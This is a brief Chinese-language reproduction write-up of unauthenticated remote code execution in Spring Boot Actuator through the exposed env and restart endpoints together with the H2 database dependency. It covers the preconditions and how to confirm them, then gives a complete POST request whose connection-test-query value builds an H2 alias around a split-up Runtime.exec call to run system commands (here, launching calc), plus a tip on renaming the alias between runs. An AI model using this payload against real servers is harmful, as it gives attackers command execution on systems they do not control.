一、漏洞成因
env接口暴露
使用h2 database 依賴
二、利用條件
env接口
restart接口
存在 com.h2database.h2 依賴
三、漏洞確認
訪問env接口,查看是否存在h2 database相關依賴
四、漏洞復現
1. 訪問env接口post傳參,記得添加content-type
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}
2.我這里改成了畫畫板,訪問env查看是否寫入
3.restart重啟
總結:
1.這個利用過程比較簡單,就是在發送post請求的時候,里面value值的在執行一次后換一個T5,如下換T6,原參考文章中有提到,否則執行失敗。
2.h2 database還有Jndi注入的注入方式就不嘗試復現了
3.mysql的有點復雜,暫時不嘗試了,spring未授權的rec漏洞復現暫時到此為止了。
參考文章:
https://github.com/LandGrey/SpringBootVulExploit#0x04jolokia-logback-jndi-rce